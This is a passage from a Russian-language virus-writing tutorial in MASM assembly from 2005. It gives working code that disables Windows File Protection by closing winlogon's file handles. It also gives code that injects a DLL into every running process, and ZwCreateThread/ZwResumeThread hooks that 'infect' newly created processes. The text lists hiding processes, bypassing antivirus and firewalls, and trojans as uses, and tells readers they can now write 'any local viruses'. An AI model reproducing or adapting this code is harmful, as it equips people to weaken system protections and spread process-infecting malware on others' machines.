"winlogon.exe",0 hWinlogon dd 0 WinDir1 dw "W","I","N","D","O","W","S","\","S","Y","S","T","E","M","3","2",0 WinDir2 dw "W","I","N","N","T","\","S","Y","S","T","E","M","3","2",0 ;===============================================================================; ;===============================================================================; ; Uninitialized Data Section ;===============================================================================; .data? _NtQuerySystemInformation dd ? _NtQueryObject dd ? uBuff dd ? WinLogon_Id dd ? hCopy dd ? ObjName label byte Name UNICODE_STRING <?> pBuffer db MAX_PATH+1 dup (?) ;===============================================================================; ;===============================================================================; ; Code Section ;===============================================================================; .code start: call EnableDebugPrivilege;Теперь у нас отладочные привилегии invoke GetModuleHandle,offset ntdll invoke GetProcAddress,eax,offset FuncName mov _NtQuerySystemInformation,eax invoke GetModuleHandle,offset ntdll invoke GetProcAddress,eax,offset FuncName2 mov _NtQueryObject,eax ;===============================================================================; ; Получаем описатель процесса Winlogon.exe ;===============================================================================; push offset winlogon_str call GetPIDbyName mov WinLogon_Id,eax invoke OpenProcess,PROCESS_DUP_HANDLE,0,eax mov hWinlogon,eax ;===============================================================================; ;===============================================================================; ; Определям размер буфера для получения списка хэндлов ;===============================================================================; push offset SizeBuffer push 0 push 0 push 16;SystemHandleInformation call _NtQuerySystemInformation .if eax!=STATUS_INFO_LENGTH_MISMATCH jmp end_calc_size .endif next_calc_size: add SizeBuffer,01000h .if pSystemHandleInfo!=0 invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE .endif invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE mov pSystemHandleInfo,eax push offset uBuff push SizeBuffer push pSystemHandleInfo push 16 call _NtQuerySystemInformation .if eax==STATUS_INFO_LENGTH_MISMATCH jmp next_calc_size .endif end_calc_size: ;===============================================================================; ;===============================================================================; ; Получаем все хэндлы и закрываем ненужные ;===============================================================================; assume edi:ptr System_Handle_Information mov edi,pSystemHandleInfo mov ecx,[edi].nHandleEntries add edi,4 ;mov edi,[edi].pHandleInfo assume edi:ptr Handle_Info mov edx,0 next_handle: push ecx push edx mov eax,[edi].Pid .if eax==WinLogon_Id invoke GetCurrentProcess mov edx,eax xor eax,eax mov ax,[edi].HandleValue invoke DuplicateHandle,hWinlogon,eax,edx,offset hCopy,0,0,DUPLICATE_SAME_ACCESS .if eax!=0 push 0 push 214h;sizeof(ObjName) push offset ObjName push 1;ObjectNameInformation push hCopy call _NtQueryObject .if eax==0;StatusSuccess push edi mov edi,offset ObjName assume edi:ptr UNICODE_STRING mov edi,[edi].Buffer push edi call CharUpperW mov edi,offset ObjName assume edi:ptr UNICODE_STRING mov edi,[edi].Buffer push edi push offset WinDir1 call CompareStringBackwards .if eax==1 jmp Yes .elseif jmp No .endif mov edi,offset ObjName assume edi:ptr UNICODE_STRING mov edi,[edi].Buffer push edi push offset WinDir2 call CompareStringBackwards .if eax==1 jmp Yes .elseif jmp No .endif Yes: invoke CloseHandle,hCopy pop edi assume edi:ptr Handle_Info xor eax,eax mov ax,[edi].HandleValue invoke DuplicateHandle,hWinlogon,eax,-1,offset hCopy,0,0,\ DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS invoke CloseHandle,hCopy push edi .endif No: pop edi .endif invoke CloseHandle,hCopy .endif pop edx pop ecx inc edx .if edx>=ecx invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE invoke CloseHandle,hWinlogon invoke TerminateProcess,-1,0 .endif add edi,16 jmp next_handle ;===============================================================================; ;===============================================================================; ; Включить отладочные привилегии ;===============================================================================; EnableDebugPrivilege proc LOCAL hToken:DWORD LOCAL tkp:TOKEN_PRIVILEGES LOCAL ReturnLength:DWORD LOCAL luid:LUID mov eax,0 invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid .IF eax==0 invoke CloseHandle,hToken ret .ENDIF mov tkp.PrivilegeCount,1 lea eax,tkp.Privileges assume eax:ptr LUID_AND_ATTRIBUTES push luid.LowPart pop [eax].Luid.LowPart push luid.HighPart pop [eax].Luid.HighPart mov [eax].Attributes,SE_PRIVILEGE_ENABLED invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength invoke GetLastError .IF eax!=ERROR_SUCCESS ret .ENDIF invoke CloseHandle,hToken mov eax,1 ret EnableDebugPrivilege endp ;===============================================================================; ; Процесс по имени ;===============================================================================; GetPIDbyName proc Str1:DWORD LOCAL pe:PROCESSENTRY32 LOCAL hSnap:DWORD invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 mov hSnap,eax mov pe.dwSize,sizeof pe invoke Process32First,hSnap,addr pe .if eax==0 ret .endif next_process: invoke Process32Next,hSnap,addr pe .if eax==0 ret .endif invoke lstrcmpi,addr pe.szExeFile,Str1 .if eax==0 mov eax,pe.th32ProcessID ret .endif jmp next_process GetPIDbyName endp ;===============================================================================; ;===============================================================================; ; Сравнить строки назад ;===============================================================================; CompareStringBackwards proc pStr1:dword,pStr2:dword LOCAL Len1:DWORD LOCAL Len2:DWORD push esi push edi invoke lstrlenW,pStr1 mov Len1,eax invoke lstrlenW,pStr2 mov Len2,eax mov eax,Len1 .if eax>Len2 mov eax,0 ret .endif mov edx,Len1 add edx,Len1 mov edi,pStr1 add edi,edx mov edx,Len2 add edx,Len2 mov esi,pStr2 add esi,edx mov ecx,Len1 inc ecx std repe cmpsw add esi,2 add edi,2 xor eax,eax xor edx,edx mov ax,word ptr [esi] mov dx,word ptr [edi] .if (ecx==0)&&(eax==edx) mov eax,1 pop edi pop esi ret .else mov eax,0 pop edi pop esi ret .endif CompareStringBackwards endp end start ;===============================================================================; ; End Program ;===============================================================================;Пример Закончен.
Глобальный перехват
Для установки в системе этого перехвата необходимо внедрить DLL в адресное пространство всех текущих процессов или просто скопировать код в Shell-код стиле (если мы не используем DLL), а также всех процессов, которые запустятся потом. Для внедрения во все текущие процессы используем Toolhelp-функции для перечисления процессов. Также можно использовать функцию NtQuerySystemInformation, которая является Native для Toolhelp-функций, а также и для функций Enum... Вот код, который устанавливает перехват для всех запущенных процессов:
Пример:
Код (Text):
;===============================================================================; ; Options and Includes ;===============================================================================; .386 option casemap:none .model flat,stdcall include \tools\masm32\include\windows.inc includelib \tools\masm32\lib\kernel32.lib include \tools\masm32\include\kernel32.inc include \tools\masm32\include\user32.inc includelib \tools\masm32\lib\user32.lib include \tools\masm32\include\advapi32.inc includelib \tools\masm32\lib\advapi32.lib ;===============================================================================; ;===============================================================================; ; Initialized Data Section ;===============================================================================; .data lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс dwSize equ $-lib;Размер строки с именем DLL kernelName db "kernel32.dll",0;Имя Kernel32.dll loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA _LoadLibrary dd 0;Адрес функции LoadLibrary ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе ;===============================================================================; ; Uninitialized Data Section ;===============================================================================; .data? ;===============================================================================; ThreadId dd ?;Идентификатор треда hSnap dd ? hProcess dd ? ProcEntry PROCESSENTRY32 <?> ;===============================================================================; ; Code Section ;===============================================================================; .code ThreadProc proc invoke Sleep,100000 ret ThreadProc endp start: invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 mov hSnap,eax mov ProcEntry.dwSize,sizeof PROCESSENTRY32 invoke Process32First,hSnap,offset ProcEntry NextProcess: invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,\ 0,ProcEntry.th32ProcessID;Открываем процесс куда будем внедрять DLL mov hProcess,eax invoke GetModuleHandle,offset kernelName;Получаем описатель модуля Kernel32.dll invoke GetProcAddress,eax,offset loadlibraryName;Получаем адрес функции LoadLibrary mov _LoadLibrary,eax ;Выделяем память в удаленном процессе invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE mov ParameterForLoadLibrary,eax ;Запись строки с именем DLL в АП чужого процесса invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL ;Создаем удаленный поток, который вызывает LoadLibrary, ;тем самым внедряем DLL в адресное пространство чужого процесса. invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,ParameterForLoadLibrary,\ NULL,offset ThreadId invoke Process32Next,hSnap,offset ProcEntry .if eax!=0 jmp NextProcess .endif invoke ExitProcess,0 end start ;===============================================================================; ; End Program ;===============================================================================;Пример Закончен.
Чтобы глобально перехватывать функции можно использовать функцию SetWindowsHook. Тогда мы будет перехватывать нужную функцию во всех текущих GUI-приложениях, а также новых, т.к. если мы вызываем функцию SetWindowsHook, то она внедряет DLL и для всех новых процессов.
Другой способ в следующем. Необходимо перехватывать функции, которые создают процесс или которые вызываются при создании процесса. Т.о. мы будет устанавливать перехват и для всех новых процессов. В ОС Windows существует много функций, которые создают процессы – SHELL32.DLL!ShellExecute, KERNEL32.DLL!CreateProcess, NTDLL.DLL!NtCreateProcess. Нам необходимо выяснить какие действия происходят при создании любого процесса, используя любую из функций создания процессов в ОС.
Какой бы функцией не был создан процесс, при создании процесса вызывается функция ZwCreateThread. Вот ее прототип:
Код (Text):
ZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \ ObjectAttributes:DWORD, ProcessHandle:DWORD, \ ClientId: DWORD, ThreadContext: DWORD, \ UserStack:DWORD, CreateSuspended: DWORDВ параметре ClientId содержиться указатель на структуру, которая называется CLIENTID. Она определена так:
Код (Text):
CLIENTID struct UniqueProcess DWORD 0 UniqueThread DWORD 0 CLIENTID endsUniqueProcess – это идентификатор процесса в котором создается поток. Делаем так: в обработчике ZwCreateThread после вызова нормальной функции ZwCreateThread проверяем UniqueProcess из структуры CLIENTID. Если это значение отличается от идентификатора нашего процесса, то заражаем процесс. Но не тут-то было!!! При заражении процесса вызов LoadLibrary окажется неудачным, потому что процесс еще не проинициализирован. Таким образом если идентификаторы нашего процесса и нового не совпали, то мы просто устанавливаем флажок NewProcess. А мы знаем, что при создании процесса основной поток приостановлен до тех пор, пока процесс не будет проинициализирован. После того как новый процесс будет проинициализирован для основного потока вызывается функция ZwResumeThread. Значит и ее тоже надо перехватывать. Я сделал 2 макроса, которые сохраняют и соответственно восстанавливают регистры ESI, EDI, EBX, EBP. Вот эти макросы:
endproc macro pop ebp pop ebx pop edi pop esi endmКод (Text):
startproc macro push esi push edi push ebx push ebp endmВзгляните на обработчик ZwCreateThread:
Пример:
Код (Text):
NewZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \ ObjectAttributes:DWORD, ProcessHandle:DWORD, \ ClientId: DWORD, ThreadContext: DWORD, \ UserStack:DWORD, CreateSuspended: DWORD startproc invoke GetCurrentProcess invoke WriteProcessMemory,eax,AddrCreateThread,offset Old_Code2,\ size_code2,0;снятие перехвата push TRUE push UserStack push ThreadContext push ClientId push ProcessHandle push ObjectAttributes push DesiredAccess push ThreadHandle1 call AddrCreateThread push eax mov eax,CurrProcess mov edi,ClientId assume edi:PTR CLIENTID .if eax!=[edi].UniqueProcess mov NewProcess,1 .endif .if CreateSuspended==0 invoke ResumeThread,ThreadHandle1 .endif invoke GetCurrentProcess invoke WriteProcessMemory,eax,AddrCreateThread,offset code2,\ size_code2,0;установка перехвата pop eax endproc ret NewZwCreateThread endpПример Закончен.
Теперь нам надо перехватить ZwResumeThread. Вот ее прототип:
ZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORDКак видите нам передается описатель потока, работа которого возобновляется. Нам необходимо получить id процесса, которому принадлежит этот поток. Если этот id отличается от нашего id’а и установлен флаг NewProcess, то заражаем процесс. Id процесса по описателю потока можно получить с помощью функции NtQueryInformationThread. Вот ее прототип:
Код (Text):
ZwQueryInformationThread proc ThreadHandle:DWORD,ThreadInformationClass:DWORD,\ ThreadInformation:DWORD,ThreadInformationLength:DWORD, \ ReturnLength:DWORD
- ThreadHandle – описатель потока, о котором мы хотим узнать информацию.
- ThreadInformation – указатель на структуру THREAD_BASIC_INFORMATION в случае ThreadInformationLength равным 0. Структура THREAD_BASIC_INFORMATION определена так:
Код (Text):
THREAD_BASIC_INFORMATION struct ExitSTatus DWORD 0 TebBaseAddress DWORD 0 ClientId CLIENTID <0> AffinityMask DWORD 0 Priority DWORD 0 BasePriority DWORD 0 THREAD_BASIC_INFORMATION endsИз вложенной структуры ClientId мы узнаем id процесса, которому принадлежит поток, т.к. при вызове функции ZwQueryInformationThread заполняется структура THREAD_BASIC_INFORMATION.
А вот исходный код обработчика ZwResumeThread:
Пример:
Код (Text):
NewZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD LOCAL ThreadInfo:THREAD_BASIC_INFORMATION LOCAL hProcess: DWORD startproc invoke GetCurrentProcess invoke WriteProcessMemory,eax,AddrResumeThread,offset Old_Code3,size_code3,0;снятие перехвата invoke GetModuleHandle,offset nt invoke GetProcAddress,eax,offset QueryInfoStr push 0 push 28;sizeof THread Basic information lea esi,ThreadInfo push esi push 0;ThreadBasicInfo push ThreadHandle1 call eax;Вызов NtQueryInformationThread для получения id процесса из хэндла треда lea esi,ThreadInfo.ClientId assume esi:PTR CLIENTID mov eax,[esi].UniqueProcess .if eax!=CurrProcess .if NewProcess==1 ;заражаем новый процесс invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \ PROCESS_VM_OPERATION,0,eax;Открываем процесс куда будем внедрять DLL mov hProcess,eax ;Получаем описатель модуля Kernel32.dll invoke GetModuleHandle,offset kern ;Получаем адрес функции LoadLibrary invoke GetProcAddress,eax,offset loadlibraryName mov _LoadLibrary,eax invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,\ PAGE_READWRITE;Выделяем память в удаленном процессе mov ParameterForLoadLibrary,eax ;Запись строки с именем DLL в АП чужого процесса invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL ;Создаем удаленный поток, который вызывает LoadLibrary, ;тем самым внедряем DLL в адресное пространство чужого процесса. invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,\ ParameterForLoadLibrary,NULL,offset ThreadId invoke CloseHandle,hProcess mov NewProcess,0 .endif .endif push PriviousSuspendCount push ThreadHandle1 call AddrResumeThread push eax invoke GetCurrentProcess invoke WriteProcessMemory,eax,AddrResumeThread,offset code3,size_code3,0;установка перехвата pop eax endproc ret NewZwResumeThread endpПример Закончен.
В архиве прилагаемой к статье в папке GlobalHooking находиться программа и ее исходный код, где перехватывается MessageBoxA и MessageBoxW во всех текущих процессах и в новых.
Примеры использования перехвата вызовов функций
Вот список, где можно использовать перехват вызовов функций. Но он конечно не исчерпывающий.
- Брандмауэр
- Контроль сетевого трафика
- Скрытие файлов
- Скрытие сетевых соединений
- Скрытие процессов
- Продвинутое заражение
- Обход брандмауэра
- Обход антивируса
- Эмуляция другой ОС
- Взлом программ
- Троянские программы
Использованные источники и источники для дальнейших исследований
SEH и VEH
- A Crash Course on the Depths of Win32™ Structured Exception Handling [Matt Pietrek] http://www.microsoft.com
- Обработка исключений Win32 для программистов на ассемблере [Jeremy Gordon] http://www.wasm.ru
- SEH(Structured Exception Handling) на службе контрреволюции [Крис Касперски] http://www.insidepro.com
- Эксплуатирование SEH в среде Win32. Часть первая. [houseofdabus] http://www.securitylab.ru
- New Vectored Exception Handling in Windows XP [Matt Pietrek] http://www.microsoft.com
- Централизованная обработка исключений [Беляев Алексей] http://www.rsdn.ru
Windows File Protection
- Windows File Protection: How To Disable It On The Fly [Ntoskrnl] http://www.rootkit.com
API Hooking
- Перехват API функций в Windows NT (часть 1). Основы перехвата. [Ms-Rem] http://www.wasm.ru
- Перехват API функций в Windows NT (часть 2). Методы внедрения кода. [Ms-Rem] http://www.wasm.ru
- Система перехвата функций API платформы Win32 [90210 / HI-TECH] http://www.wasm.ru
- API hooking revealed [Ivo Ivanov] http://lib.training.ru/Lib/ArticleDetail.aspx?ar=1596&l=&mi=105&mic=352
- API Spying [Сергей Холодилов] http://www.rsdn.ru
- API Spying Techniques for Windows 9x, NT and 2000 [Yariv Kaplan] http://www.internals.com/articles/apispy/apispy.htm
- HOWTO: Вызов функции в другом процессе [Сергей Холодилов] http://www.rsdn.ru
- Перехват API-функций в Windows NT/2000/XP [Тихомиров В.А.] http://www.rsdn.ru
- Перехват данных Internet Explorer [Matt Pietrek] http://www.codenet.ru/progr/visualc/ie.php
- Per-process residency review: common mistakes [Bumblebee / 29A] http://vx.netlux.org
- Hooking Windows API – Technics of hooking API functions on Windows [Holy Father] http://www.Assembly-Journal.com
Заключение
В этой главе мы рассмотрели несколько очень важных техник, без которых далеко не уйдешь. Они используются не только при программировании вирусов, но и вообще в системном программировании. Теперь используя полученный материал, Вы можете программировать любые локальные вирусы. Я понимаю, что этот материал нельзя освоить за один наскок, но Вы должны стараться. Во всяком случае, Вы будете приближаться к истинному пониманию работы ОС Windows, ее идеологии, подводных камнях и т.д. И наша задача заключается именно в понимании тонкостей работы ОС Windows. Я надеюсь, что не будете никому вредить, используя полученные знания. Я категорически против деструкции в вирусах. Лучше напрягитесь и сделайте какую-нибудь красивую или оригинальную полезную нагрузку, чтобы ЮЗВЕРЬ упал со стула от удивления, например, когда его компьютер начнет пукать
Если у Вас есть замечания по статье или вопросы, то свяжитесь со мной по адресу BILL_TPOC@MAIL.RU.
The Passion Of Code ( TPOC ) Laboratory
Я представляю лабораторию The Passion Of Code ( TPOC ) и заявляю: если у Вас есть желание вникать в тонкости ОС и Вы уже что-то умеете, то я прошу Вас связаться со мной по адресу BILL_TPOC@MAIL.RU. Но не беспокойте пожалуйста меня те люди, которых надо подгонять что-то делать – у Вас должен быть свой энтузиазм. Сайт нашей лаборатории http://tpoc.h15.ru.
Спасибо…
DayDream, BlackFox, _follower / TPOC, FreeMan / TPOC
Также хотел бы сказать спасибо Ms-Rem за его замечательную статью “Перехват API функций в Windows NT (часть 2). Методы внедрения кода”
Файлы к статье.
© Bill / TPOC
От зеленого к красному: Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows File Protection.
Дата публикации 21 авг 2005